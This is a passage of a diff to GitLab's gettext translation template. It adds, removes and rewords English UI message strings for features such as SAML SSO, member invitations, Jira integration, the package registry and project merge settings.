-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14779,9 +15222,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14797,7 +15246,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14893,9 +15345,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -15091,9 +15540,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -15229,9 +15675,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15414,6 +15857,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15582,6 +16028,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15746,9 +16198,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15798,12 +16247,15 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15813,9 +16265,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16401,6 +16850,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16573,6 +17025,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16618,9 +17073,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16645,6 +17097,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16681,9 +17136,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16879,7 +17331,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16888,7 +17340,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16897,25 +17349,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16930,6 +17382,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -17092,6 +17547,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -17101,6 +17559,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -17188,6 +17649,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -17251,6 +17715,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17338,6 +17805,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17350,9 +17820,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17392,7 +17871,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17413,7 +17895,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17425,12 +17907,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17647,15 +18135,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17746,6 +18225,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17951,6 +18433,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18363,6 +18848,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18432,6 +18920,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18606,6 +19097,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18645,6 +19139,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18669,9 +19166,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18747,6 +19241,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18765,13 +19262,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18846,6 +19340,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18948,9 +19445,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18960,9 +19454,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -19095,9 +19586,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -19155,9 +19643,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19724,6 +20209,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19916,6 +20404,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19979,6 +20473,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -20114,6 +20611,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20434,6 +20934,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20483,9 +20992,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20651,6 +21157,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20696,6 +21205,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20762,7 +21274,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20813,6 +21325,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20900,6 +21415,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -21071,6 +21589,34 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -21185,6 +21731,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21317,10 +21872,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21410,9 +21962,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21437,9 +21986,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21470,6 +22016,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21558,12 +22107,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21582,9 +22125,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21597,10 +22137,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21615,6 +22158,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21666,6 +22212,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21774,12 +22323,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21810,6 +22365,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21828,6 +22386,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21879,6 +22440,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21903,9 +22467,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21942,15 +22503,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -22002,27 +22590,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -22260,10 +22827,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22344,7 +22920,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22593,9 +23169,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22614,6 +23187,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22689,6 +23265,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22758,9 +23346,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22911,10 +23496,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22950,6 +23535,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -23088,6 +23685,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -23112,6 +23715,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -23136,6 +23742,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23394,7 +24003,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23784,6 +24393,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23799,49 +24411,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23895,25 +24540,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23925,7 +24573,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23937,7 +24585,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23949,10 +24597,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23985,10 +24633,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
